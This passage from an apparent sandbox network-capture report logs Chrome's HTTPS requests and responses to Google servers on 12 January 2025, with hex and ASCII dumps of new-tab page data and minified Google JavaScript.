2025-01-12 16:40:19 UTC	1390	IN	Data Raw: 32 4d 55 4a 4a 53 45 31 7a 61 55 30 31 4d 48 46 4d 54 55 77 30 55 47 4e 54 64 7a 49 34 61 47 6c 6a 63 6d 31 52 59 33 5a 54 61 6b 6f 33 65 54 52 58 51 7a 52 44 56 47 46 4f 56 47 49 31 4e 6a 56 42 65 6a 63 77 51 6c 6c 76 4f 46 56 69 53 6b 70 48 4e 45 70 6d 53 58 68 71 63 43 39 47 56 33 6c 61 62 6d 6c 6a 52 30 39 52 59 57 70 78 57 45 64 4f 4f 45 46 5a 63 45 6f 76 65 55 56 36 63 55 31 47 61 6e 42 47 55 33 51 32 55 47 34 35 4b 33 68 44 54 30 6c 59 52 58 4a 33 4d 31 52 47 4d 6b 70 6c 54 55 73 7a 65 48 64 55 4b 33 52 4a 56 7a 46 45 62 55 4e 51 62 55 74 6a 55 31 4e 4e 64 32 74 56 55 6e 56 54 65 44 68 51 54 48 42 71 55 46 64 6f 63 6a 6c 61 57 6d 68 46 53 54 51 79 53 55 70 50 4e 54 59 33 5a 6c 41 31 4d 57 5a 44 4d 6d 35 5a 65 47 59 31 55 45 46 4e 4d 54 56 46 4e 32 Data Ascii: 2MUJJSE1zaU01MHFMTUw0UGNTdzI4aGljcm1RY3ZTako3eTRXQzRDVGFOVGI1NjVBejcwQllvOFViSkpHNEpmSXhqcC9GV3labmljR09RYWpxWEdOOEFZcEoveUV6cU1GanBGU3Q2UG45K3hDT0lYRXJ3M1RGMkplTUszeHdUK3RJVzFEbUNQbUtjU1NNd2tVUnVTeDhQTHBqUFdocjlaWmhFSTQySUpPNTY3ZlA1MWZDMm5ZeGY1UEFNMTVFN2
2025-01-12 16:40:19 UTC	1212	IN	Data Raw: 6a 6f 67 55 47 46 75 64 47 56 79 59 55 6f 48 49 7a 51 79 4e 44 49 30 4d 6c 4a 4a 5a 33 4e 66 63 33 4e 77 50 57 56 4b 65 6d 6f 30 64 46 5a 51 4d 58 70 6a 4d 48 70 46 5a 7a 4e 35 59 54 46 4c 53 7a 52 72 4d 31 6c 51 55 56 4e 4c 4d 47 70 4e 53 7a 42 72 64 46 4e 73 55 6b 6c 54 59 7a 46 55 65 55 55 35 56 45 74 4e 62 6b 6c 55 51 7a 46 4d 54 46 46 5a 51 53 31 35 62 30 35 52 5a 33 41 55 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 67 6f 6f 67 6c 65 3a 65 6e 74 69 74 79 69 6e 66 6f 22 3a 22 43 67 67 76 62 53 38 77 4e 57 70 32 65 42 49 4f 54 6b 4a 42 49 4f 4b 41 6c 43 42 4d 5a 57 46 6e 64 57 55 79 6f 67 6c 6b 59 58 52 68 4f 6d 6c 74 59 57 64 6c 4c 33 42 75 5a 7a 74 69 59 58 4e 6c 4e 6a 51 73 61 56 5a 43 54 31 4a 33 4d 45 74 48 5a 32 39 42 51 55 46 42 54 6c 4e 56 Data Ascii: jogUGFudGVyYUoHIzQyNDI0MlJJZ3Nfc3NwPWVKemo0dFZQMXpjMHpFZzN5YTFLSzRrM1lQUVNLMGpNSzBrdFNsUklTYzFUeUU5VEtNbklUQzFMTFFZQS15b05RZ3AU","zl":10002},{"google:entityinfo":"CggvbS8wNWp2eBIOTkJBIOKAlCBMZWFndWUyoglkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNV
2025-01-12 16:40:19 UTC	91	IN	Data Raw: 35 35 0d 0a 6c 62 58 46 50 55 45 4a 30 4e 32 39 6d 63 45 38 76 64 6b 78 45 51 56 46 44 4e 6e 4e 6a 55 45 51 33 4d 57 52 75 52 44 46 6c 4e 47 70 45 53 56 68 46 57 44 64 75 52 6c 70 6d 55 55 35 72 59 32 45 76 56 46 4e 6b 4f 48 70 44 4d 6b 6c 79 62 6d 64 4e 5a 6c 46 34 0d 0a Data Ascii: 55lbXFPUEJ0N29mcE8vdkxEQVFDNnNjUEQ3MWRuRDFlNGpESVhFWDduRlpmUU5rY2EvVFNkOHpDMklybmdNZlF4
2025-01-12 16:40:19 UTC	997	IN	Data Raw: 33 64 65 0d 0a 65 6a 4a 74 56 6c 42 30 65 45 6c 56 63 30 74 34 65 46 68 43 4d 45 70 4d 4e 6b 78 61 56 6b 78 6a 54 30 5a 50 54 56 6c 74 4d 6d 39 45 4b 30 52 36 52 6d 6f 77 59 6b 52 77 52 30 56 4b 52 46 56 6d 64 48 55 7a 4d 32 35 4c 56 58 6c 72 65 48 70 77 57 55 6c 71 54 55 56 59 56 45 4d 30 59 7a 4e 70 62 7a 52 46 5a 54 42 6f 64 58 67 32 64 6d 6f 34 5a 6d 6f 72 53 55 46 48 59 30 64 53 52 58 46 79 53 47 70 49 57 58 70 75 63 56 42 5a 56 46 64 4c 4b 30 64 34 54 55 73 72 54 56 42 74 56 46 64 79 51 6a 55 72 62 6d 78 54 55 6a 6b 35 62 44 4a 6a 59 58 6c 42 4e 7a 52 7a 65 6e 6c 70 55 32 4e 43 62 56 4a 7a 63 6d 74 4b 4e 48 46 7a 56 44 6c 69 51 57 39 73 56 32 5a 34 61 56 42 4b 59 56 6c 44 53 6e 70 50 63 30 46 74 65 57 34 7a 55 57 5a 55 61 33 59 76 52 56 51 78 63 6b Data Ascii: 3deejJtVlB0eElVc0t4eFhCMEpMNkxaVkxjT0ZPTVltMm9EK0R6RmowYkRwR0VKRFVmdHUzM25LVXlreHpwWUlqTUVYVEM0YzNpbzRFZTBodXg2dmo4ZmorSUFHY0dSRXFySGpIWXpucVBZVFdLK0d4TUsrTVBtVFdyQjUrbmxTUjk5bDJjYXlBNzRzenlpU2NCbVJzcmtKNHFzVDliQW9sV2Z4aVBKYVlDSnpPc0FteW4zUWZUa3YvRVQxck
2025-01-12 16:40:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	50030	172.217.16.196	443	1968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 16:40:19 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIkqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-12 16:40:19 UTC	1018	IN	HTTP/1.1 200 OK Version: 713742394 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 12 Jan 2025 16:40:19 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-12 16:40:19 UTC	372	IN	Data Raw: 32 30 64 30 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 20d0)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2025-01-12 16:40:19 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2025-01-12 16:40:19 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2025-01-12 16:40:19 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2025-01-12 16:40:19 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2025-01-12 16:40:19 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 36 38 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 2c 31 30 32 32 37 38 32 30 35 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700268,3700949,3701384,102278205],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){va
2025-01-12 16:40:19 UTC	1086	IN	Data Raw: 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4b 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4a 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4c 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4d 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 Data Ascii: c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Kd\u003dfunction(a){return new _.Jd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Ld\u003dglobalThis.trustedTypes;_.Md\u003dclass{constructor
2025-01-12 16:40:19 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 28 5c 22 6f 67 62 2d 71 74 6d 23 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 62 7d 29 7d 63 61 74 63 68 28 62 29 7b 7d 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 56 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 5c 75 30 30 32 36 5c 75 30 30 32 36 28 56 64 5c 75 30 30 33 64 55 64 28 29 29 3b 72 65 74 75 72 6e 20 56 64 7d 3b 5c 6e 5f 2e 59 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 57 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 58 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 Data Ascii: 8000(\"ogb-qtm#html\",{createHTML:b,createScript:b,createScriptURL:b})}catch(b){}return a};_.Wd\u003dfunction(){Vd\u003d\u003d\u003dvoid 0\u0026\u0026(Vd\u003dUd());return Vd};\n_.Yd\u003dfunction(a){const b\u003d_.Wd();return new _.Xd(b?b.createScriptU
2025-01-12 16:40:19 UTC	1390	IN	Data Raw: 24 29 29 2f 69 3b 76 61 72 20 6e 65 2c 72 65 2c 6a 65 3b 5f 2e 6c 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 6a 65 28 5f 2e 6b 65 28 61 29 29 3a 68 65 7c 7c 28 68 65 5c 75 30 30 33 64 6e 65 77 20 6a 65 29 7d 3b 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 Data Ascii: $))/i;var ne,re,je;_.le\u003dfunction(a){return a?new je(_.ke(a)):he\|\|(he\u003dnew je)};_.me\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;c.getElementsByClassName?a\u00
2025-01-12 16:40:19 UTC	1390	IN	Data Raw: 68 69 6c 64 28 74 79 70 65 6f 66 20 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 63 72 65 61 74 65 54 65 78 74 4e 6f 64 65 28 65 29 3a 65 29 7d 66 6f 72 28 6c 65 74 20 65 5c 75 30 30 33 64 32 3b 65 5c 75 30 30 33 63 63 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 63 6f 6e 73 74 20 66 5c 75 30 30 33 64 63 5b 65 5d 3b 21 5f 2e 64 65 28 66 29 7c 7c 5f 2e 4e 62 28 66 29 5c 75 30 30 32 36 5c 75 30 30 32 36 66 2e 6e 6f 64 65 54 79 70 65 5c 75 30 30 33 65 30 3f 64 28 66 29 3a 5f 2e 67 63 28 66 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 66 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 66 2e 69 74 65 6d 5c 75 Data Ascii: hild(typeof e\u003d\u003d\u003d\"string\"?a.createTextNode(e):e)}for(let e\u003d2;e\u003cc.length;e++){const f\u003dc[e];!_.de(f)\|\|_.Nb(f)\u0026\u0026f.nodeType\u003e0?d(f):_.gc(f\u0026\u0026typeof f.length\u003d\u003d\"number\"\u0026\u0026typeof f.item\u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	50031	172.217.16.196	443	1968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 16:40:19 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-12 16:40:19 UTC	933	IN	HTTP/1.1 200 OK Version: 713742394 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 12 Jan 2025 16:40:19 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-12 16:40:19 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2025-01-12 16:40:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	50039	172.217.16.142	443	1968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 16:40:23 UTC	721	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.l2ZUC8FxqV8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo9xAAkaXO7Lqf7-9uTpZLtrkpWaXQ/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIkqHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-12 16:40:23 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117446 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 09 Jan 2025 16:35:57 GMT Expires: Fri, 09 Jan 2026 16:35:57 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 08 Jan 2025 15:23:05 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 259466 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-12 16:40:23 UTC	474	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 5d 29 3b 0a 76 61 72 20 63 61 2c 64 61 2c 68 61 2c 6d 61 2c 78 61 2c 41 61 2c 42 61 3b 63 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var
